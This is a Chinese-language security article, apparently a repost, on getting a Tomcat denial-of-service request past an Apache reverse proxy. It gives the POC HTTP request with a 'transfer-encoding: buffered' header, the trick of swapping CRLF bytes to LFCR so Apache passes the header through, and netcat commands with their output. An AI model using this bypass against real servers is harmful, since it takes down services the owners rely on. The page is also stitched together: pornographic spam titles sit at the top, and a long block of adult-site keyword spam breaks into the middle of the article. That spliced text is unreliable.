精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

繞過Apache http代理繼續DoS tomcat

安全
從長遠的角度講,一個完整的安全方案,應該是和現有架構本身的特性,是分開的,它并不能因為現有應用架構攔截了攻擊,于是自己就表示影響不大。如果安全方案總是依靠應用現有的特性,那就要承受可能被繞過的隱患,這種隱患,導致我們總有一天,會不得不把補丁老老實實的打上去。如本文就是一個很好的例子。

從長遠的角度講,一個完整的安全方案,應該是和現有架構本身的特性,是分開的,它并不能因為現有應用架構攔截了攻擊,于是自己就表示影響不大。如果安全方案總是依靠應用現有的特性,那就要承受可能被繞過的隱患,這種隱患,導致我們總有一天,會不得不把補丁老老實實的打上去。如本文就是一個很好的例子。

筆者根據TOMCAT的補丁,分析出了攻擊未修補版本的POC,相信不少人體驗了一把。然而在實際使用中,只有小公司喜歡把tomcat放在最外面。大企業都喜歡在tomcat外面使用apache等web server轉發,以便獲得更好的響應速度,或者為了分離靜態文件,減輕服務器壓力。

對于這樣的情況,你會發現使用筆者給的POC,這里是無效的,關于這一點,官方如下描述“This flaw is mitigated if Tomcat is behind a reverse proxy (such as Apache httpd 2.2) as the proxy should reject the invalid transfer encoding header.”他說如果你的tomcat外面還有一層web server做轉發,就會減輕這個漏洞帶來的危害。

也許大家看到這個,放心了很多,就沒有修補。

官方這么講,是什么原理呢?我們看下攻擊的POC:

POST /CodePK/updateinfo HTTP/1.1

Host: localhost

Keep-Alive: 300

Connection: keep-alive

transfer-encoding: buffered

Content-Length: 145

u_uid=admin&u_pwd0=123456&u_pwd1=&u_pwd2=&u_email=rfes%40rfes.com&u_location=B2B&u_lang=1&u_web=22222222&u_quote=ffvd&u_submit=%E6%8F%90%E4%BA%A4

遇到這樣的HTTP頭,apache會因為有”transfer-encoding: buffered”,則自動攔截下來,自己處理掉這個數據包,不交給tomcat處理,并直接返回錯誤。這是出于apache自己的原因造成的,但是這不重要。重要的是,這個攔截的機制,能否被繞過。TOMCAT仍然老老實實的在apache后面等候數據包,如果能繞過,它就會再次忠實的睡大覺。要繞過apache的“自動攔截”(這個名字好記點),就必須讓apache不認識這個頭。

發個數據包,這是攔截后返回的信息:

A:\tools>nc -vv localhost 80 < aa.txt

DNS fwd/rev mismatch: kxlzx != localhost

billgates [127.0.0.1] 80 (http) open

HTTP/1.1 500 Internal Server Error

……..省略

The server encountered an internal error or

misconfiguration and was unable to complete

your request.

…….省略

Apache返回了500 Internal Server Error,如果去掉那個頭”transfer-encoding: buffered”,返回就200 OK了,但是也就打不死了。

看起來這是個死循環,永遠搞不定,所以tomcat官方也說了能減輕危害。

但是,如果apache和tomcat對某些字符的理解不一致,可能會apache放過某些字符,但是tomcat卻剛巧認識,又如果這個字符剛好能影響到這里,就會bypass這個所謂的“防御架構”,所以我們找找看有沒有這樣“猥瑣”的字符存在。

Apache和Tomcat實現原理不一樣(廢話),所以,對一些字符可能理解不一致,是正常的。

我們先看看大家對http heads的分段是如何理解的,我查到“CRLF”,從apache源碼中看到,它把crlf定義為“\r\n”,轉換為也就是16進制的“0D 0A”(為什么提16進制等下講),這個供參考:https://svn.apache.org/repos/asf/httpd/flood/trunk/flood_test.c

其實我不熟悉C,也不知道這段主要是做什么的,但是看到它的確定義了

“#define CRLF "\r\n"”,只有這一個對crlf的定義。

這有什么用呢?這其實表示,apache所理解CRLF,就是“\r\n”,它不認識“\n\r”(看仔細點,反過來了)。

悲劇的是,tomcat和JBOSS認識它們,并且很喜歡它們!

Tomcat和jboss對這個東西的定義含義是

“If (xx==’\r’|| xx==’\n’)”

就是說,不但把字符反過來寫它們認識,就算拆成骨頭,TOMCAT和JBOSS也認識。

知道了這個關鍵點,下面思路就有了。我們把”transfer-encoding: buffered”這個字段,偽裝成其他字段的一部分,讓apache放過去,交給tomcat處理就可以了。

POC:

于是我使用16進制編輯器,UltraEdit打開我復制出來的數據包文件aa.txt

找到

transfer-encoding: buffered

把這一行之前的字符

注意括起來的兩個地方,把它們順序分別顛倒一下,兩個地方的“0D 0A”都改為“0A 0D”。改后如下:

原來包是這樣的:

Connection: keep-alive         這是字段1

transfer-encoding: buffered   這是字段2

Content-Length: 145           這是字段3

三個字段其實屬于同一個字符串,他們的間隔本來是“\r\n”,我們改為“\n\r”。一旦這個包發給apache后,apache認為只有一個字段”Connection”過來了,接著就把這個字段原封不動的交給tomcat。#p#

可憐的tomcat看到這個包,卻認為它是三個字段,解開了這個炸藥包,所以,砰。。。掛了

現在把我改后的文件,使用nc提交上去:

責任編輯:佟健 來源: IT專家網
相關推薦

2011-03-15 08:54:43

2014-10-22 09:36:41

TCPIP

2009-06-26 10:07:16

2011-04-07 09:06:31

Tomcat

2013-04-26 10:59:54

目錄遍歷漏洞

2012-05-18 15:52:49

JavaApacheTomcat

2012-05-30 10:09:57

ApacheTomcat

2013-07-09 14:36:24

2024-04-26 09:04:13

2020-08-11 08:25:21

HTTPSSHLinux防火墻

2011-12-07 10:34:29

JavaTomcat

2017-02-12 22:29:59

2011-02-25 11:16:38

ApacheTomcat

2015-12-02 15:29:32

HTTP網絡協議代理原理

2015-12-02 14:10:56

HTTP網絡協議代理原理

2010-09-08 15:35:35

2013-08-08 10:09:22

ApacheTomcatJavaEE 7

2014-04-18 09:55:49

Tomcat 8NIO 2

2009-07-06 17:49:02

Apache的配置JBoss的配置
點贊
收藏

51CTO技術棧公眾號

色鬼7777久久| 成人免费毛片东京热| 久久uomeier| 中文字幕第一区第二区| 国产在线视频欧美| 久久国产露脸精品国产| 亚洲ab电影| 欧美日韩一区二区高清| 亚洲视频二区| 亚洲福利视频免费观看| 人妻无码视频一区二区三区| 麻豆免费在线视频| 99re成人精品视频| 91久久精品一区| 国产精品美女久久久久av爽| 91嫩草亚洲精品| 日韩电影免费观看中文字幕| 99re精彩视频| 美女扒开腿让男人桶爽久久软| 日本一区二区三级电影在线观看 | 成人毛片100部免费看| 人妻va精品va欧美va| 日韩精品亚洲一区| 欧美激情精品久久久久久久变态 | 国产高清视频在线观看| 国产激情视频一区二区三区欧美 | 成人三级视频| 亚洲精品美女在线观看播放| 国产永久免费网站| 日韩成人亚洲| 狠狠久久亚洲欧美专区| 18视频在线观看娇喘| 国产高清视频免费最新在线| www.久久精品| 国产成人精品福利一区二区三区| 中文字幕在线播放日韩| 久久国产直播| 97视频免费在线看| 午夜激情视频在线播放| 精品欧美久久| 亚洲色图第一页| 天堂久久久久久| 久久男人av| 精品国产乱码久久久久久免费| 免费av不卡在线| 人人爽人人爽av| 色噜噜在线播放| 国产成人a级片| 成人在线精品视频| 97在线播放免费观看| 日韩二区三区在线观看| 日本久久久久久久久| 日韩黄色一级大片| 99精品国产在热久久下载| 欧美日韩国产成人在线| 午夜69成人做爰视频| 亚洲精品a级片| 久久综合国产精品台湾中文娱乐网 | 欧美专区福利免费| 欧美性猛交xxxx偷拍洗澡| 免费av手机在线观看| av2020不卡| 五月婷婷久久丁香| 久久久久久久久久久久久国产精品 | 麻豆av电影在线观看| 2021中文字幕一区亚洲| 久久综合九色综合网站| 蜜芽tv福利在线视频| 国产欧美日韩在线| 亚洲午夜精品久久| 好了av在线| 亚洲制服欧美中文字幕中文字幕| 国产在线视频在线| sm久久捆绑调教精品一区| 精品久久中文字幕| 五月婷婷深爱五月| 日韩一区二区三区四区五区| 日韩欧美中文一区| 久久久久麻豆v国产精华液好用吗| 欧美91在线| 亚洲夜晚福利在线观看| av最新在线观看| 欧美日韩视频一区二区三区| 91成人精品网站| 日韩精选在线观看| 国产一区二区精品久久99| 成人动漫视频在线观看免费| 四虎电影院在线观看| 亚洲国产高清aⅴ视频| 亚洲在线色站| av蜜臀在线| 欧美日韩一本到| 日本50路肥熟bbw| 欧洲乱码伦视频免费| 久久手机免费视频| 四虎成人永久免费视频| 久久99精品久久久久久动态图| 3d蒂法精品啪啪一区二区免费| 亚洲精品久久久久avwww潮水 | 久久免费看av| 蜜桃av在线免费观看| 性做久久久久久| 亚洲综合欧美激情| 成人在线视频你懂的| 一本一本久久a久久精品综合小说 一本一本久久a久久精品牛牛影视 | 日韩激情在线视频| 久草福利资源在线| 久久国产精品久久w女人spa| 92裸体在线视频网站| 日本福利午夜视频在线| 亚洲精品视频在线| 久久久精品在线视频| 国产精品高清一区二区| 亚洲一级片在线看| 久久精品www人人爽人人| 日韩精品高清不卡| 国产欧美一区二区视频| 毛片在线看网站| 日本久久一区二区| 日韩av无码一区二区三区不卡| 成人综合专区| 日本精品免费观看| 蜜桃视频在线观看www| 国产精品麻豆视频| 中文字幕无码不卡免费视频| 极品束缚调教一区二区网站| 久热99视频在线观看| 综合久久中文字幕| 久久亚洲综合色一区二区三区| 日本大片免费看| 国产一区二区三区免费在线| 中文字幕国产亚洲| 区一区二在线观看| 99re这里只有精品首页| 免费cad大片在线观看| 日韩一级特黄| 久久精品99无色码中文字幕| www.亚洲激情| 久久久一区二区三区| 欧美大片在线播放| 国产成人tv| 欧美交受高潮1| www香蕉视频| 一区二区三区在线观看国产 | 在线精品免费视| 99久久精品国产毛片| 国产美女在线一区| 国产精品qvod| 97国产在线观看| 偷拍精品一区二区三区| 亚洲成年人网站在线观看| 亚洲视频天天射| 亚洲午夜av| 国产一区二区三区四区hd| aa视频在线观看| 亚洲国产美女久久久久| 国产污污视频在线观看| 91在线精品一区二区三区| 亚欧无线一线二线三线区别| 日韩深夜福利| 奇米影视亚洲狠狠色| 欧洲天堂在线观看| 欧美在线小视频| 国产三级aaa| 国产美女主播视频一区| 九九久久九九久久| 6080亚洲理论片在线观看| 欧美极品美女视频网站在线观看免费 | 亚洲国产精品小视频| 色婷婷在线观看视频| 久久久久久一二三区| 婷婷激情四射五月天| 国产精品不卡| 波多野结衣一区二区三区在线观看| 欧美xxxbbb| 日韩精品在线影院| 亚洲视频一区在线播放| 亚洲日本在线a| 亚洲精品激情视频| 久久中文字幕一区二区三区| 午夜欧美一区二区三区免费观看| 91精品一久久香蕉国产线看观看| 欧美成人免费网| 五月色婷婷综合| 在线观看成人免费视频| 青娱乐在线视频免费观看| 99视频精品全部免费在线| 国产成人av影视| 一本一道久久综合狠狠老| 国产精品一区二区欧美黑人喷潮水| 在线毛片观看| 欧美精品在线观看91| 日本在线一二三| 5月丁香婷婷综合| 精品美女久久久久| √…a在线天堂一区| 欧美一级片黄色| 久久精品99国产精品日本| 91精品国产91久久久久麻豆 主演| 天天躁日日躁狠狠躁欧美巨大小说| 国产在线视频欧美| 亚洲涩涩在线| 久久久久久久久久久成人| 91社区在线观看| 日韩成人在线视频| 国产婷婷在线视频| 在线免费观看日韩欧美| 久久99久久久| 国产精品久久久久四虎| 久久手机免费视频| 久久免费公开视频| 中文字幕巨乱亚洲| 成人在线电影网站| 国产乱人伦精品一区二区在线观看 | 国产精品揄拍500视频| 国产美女精品写真福利视频| 久久久国产视频91| 黄色av网站在线免费观看| 精品成人私密视频| 国产日韩在线观看一区| 在线精品亚洲一区二区不卡| 国产亚洲欧美久久久久| 国产精品久久久久aaaa樱花| 成人片黄网站色大片免费毛片| 国产·精品毛片| 又黄又爽又色的视频| 久久99蜜桃精品| 亚洲欧美激情网| 久久婷婷麻豆| 国产最新免费视频| 日韩视频中文| 欧洲精品一区二区三区久久| 亚洲色图插插| 中文字幕中文字幕99| 久久精品av| 亚洲综合欧美日韩| 菠萝蜜一区二区| 视频一区视频二区视频| 九九视频免费观看视频精品| 久久波多野结衣| 亲子伦视频一区二区三区| 国产欧美日本在线| 国产精品qvod| 国产伦精品一区二区三区照片| 91麻豆精品国产91久久久久推荐资源| 91亚洲精品久久久| 久久三级中文| 国产成人精品免费视频大全最热| 精品999日本久久久影院| 成人欧美一区二区三区黑人| www.久久久.com| 91精品在线观看视频| 国产日本亚洲| 99三级在线| 国产精品18hdxxxⅹ在线| 国产日韩精品推荐| 特黄特色欧美大片| 欧美性bbwbbwbbwhd| 国产一区二区欧美| 亚洲欧美日韩精品综合在线观看| 日韩激情图片| 只有这里有精品| 欧美日韩精品一本二本三本| 男女日批视频在线观看| 亚洲精品影视| 日韩中文字幕组| 久久草av在线| 国产成人精品综合久久久久99 | 色在线视频网| 欧美乱大交xxxxx另类电影| 视频在线观看入口黄最新永久免费国产| 欧美大胆在线视频| 美女的胸无遮挡在线观看 | 国产aa精品| 国产不卡一区二区在线观看 | 精品美女久久久久| 在线观看免费亚洲| 99国产在线播放| 亚洲精品www久久久| 久久视频www| 欧美大胆在线视频| 中文字幕成在线观看| 国产精品美女主播| 亚洲一区二区三区四区电影 | 中国免费黄色片| 国产婷婷色一区二区三区四区| 强制高潮抽搐sm调教高h| 亚洲最快最全在线视频| 69xx绿帽三人行| 香蕉乱码成人久久天堂爱免费| 999视频在线| 日韩欧美中文一区二区| 国产在线91| 欧美精品videosex性欧美| 国产精品高清乱码在线观看| 亚洲va久久久噜噜噜| 美女亚洲一区| 妺妺窝人体色www看人体| aa国产精品| 亚洲天堂网站在线| 久久久精品国产99久久精品芒果 | 欧美午夜精品伦理| 国产伦精品一区二区三区视频痴汉 | 国产精品乱码人人做人人爱| 日韩成人在线免费视频| 五月天一区二区三区| 成年人av网站| 亚洲电影天堂av | 亚洲三级理论片| 欧美一区二区三区久久久| 国产性做久久久久久| 国产啪精品视频| 日韩护士脚交太爽了| 九色综合日本| 欧美激情日韩| 九色porny自拍| 久久午夜电影网| 国产一级片免费| 欧美一区二区三区视频免费播放| 四虎在线免费观看| 久久久久久久91| 色悠久久久久综合先锋影音下载| 色一情一乱一伦一区二区三区| 在线亚洲一区| 国产精品久久久久久亚洲av| 亚洲人成精品久久久久久 | 欧美日韩国产一级片| 欧美xxx.com| 91av在线看| 操欧美女人视频| 9191国产视频| 国产米奇在线777精品观看| 日韩精品久久久久久久的张开腿让| 色综合久久天天综合网| 亚洲 精品 综合 精品 自拍| 欧美激情久久久| 日韩欧美久久| 99久热在线精品视频| 国产精品1区二区.| 一区二区视频免费看| 91麻豆精品国产91久久久| 免费看美女视频在线网站| 国产精品久久久久免费a∨| 曰本一区二区三区视频| 国产精品免费入口| 99精品视频在线免费观看| 粉嫩aⅴ一区二区三区| 亚洲黄色片网站| 最近在线中文字幕| 欧美日韩国产精品一卡| 久久久久久穴| 嘿嘿视频在线观看| 欧美日韩在线精品一区二区三区激情| jizz在线观看中文| 国产欧美日韩91| 亚洲一区二区| av av在线| 狠狠综合久久av一区二区小说 | www.日韩欧美| 国产视频网站一区二区三区| 好吊色视频988gao在线观看| 国产精品自拍一区| 精品少妇久久久| 亚洲精品福利资源站| 高清不卡av| 正义之心1992免费观看全集完整版| 韩国理伦片一区二区三区在线播放 | 亚洲人亚洲人成电影网站色| 999久久久久| 国内精品久久久| 美女久久99| 免费在线观看污网站| 一区二区三区在线观看欧美| 婷婷在线免费视频| 国产97在线|日韩| 婷婷综合五月| 无码任你躁久久久久久老妇| 色综合久久中文字幕| 夜级特黄日本大片_在线| 91久久久久久久一区二区| 亚洲国产婷婷| 黄色片在线观看免费| 日韩一级完整毛片| 无遮挡爽大片在线观看视频 | 中文字幕国产专区| 欧美麻豆精品久久久久久| 日本欧美电影在线观看| 美女黄毛**国产精品啪啪| 久久精品72免费观看| 毛片a片免费观看| 亚洲视频在线观看视频| 欧美a在线观看| 人人爽人人av| 亚洲综合色丁香婷婷六月图片| 日本一卡二卡四卡精品| 成人免费xxxxx在线观看| 国产欧美日韩一区二区三区在线| 后入内射无码人妻一区| 精品国产在天天线2019| 欧美free嫩15|

          A:\tools>nc -vv localhost 80 < aa.txt

          DNS fwd/rev mismatch: kxlzx != localhost

          billgates [127.0.0.1] 80 (http) open

          HTTP/1.1 404 Not Found

          Date: Sat, 24 Jul 2010 01:48:34 GMT

          Server: Apache-Coyote/1.1

          Content-Type: text/html;charset=utf-8

          Content-Length: 1006

          Keep-Alive: timeout=5, max=100

          Connection: Keep-Alive